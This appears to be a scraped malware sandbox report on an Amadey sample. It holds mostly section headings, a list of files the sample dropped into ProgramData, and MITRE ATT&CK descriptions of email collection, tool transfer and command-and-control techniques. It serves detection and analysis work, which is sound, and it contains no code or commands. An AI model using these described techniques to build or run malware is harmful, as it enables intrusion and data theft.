Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKFHDBFI

C:\ProgramData\AKFHDBFIDAECAAAKEGDA

C:\ProgramData\AKKKFBGDHJKFHJJJJDGC

C:\ProgramData\BKKKFCFI

C:\ProgramData\DGDHJEGIEBFHDGDGHDHIEBKFHD

C:\ProgramData\EGIDAAFIEHIEHJKFHCAEGCBFHJ

C:\ProgramData\KFBGCAKFHCFHJKECFIID

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre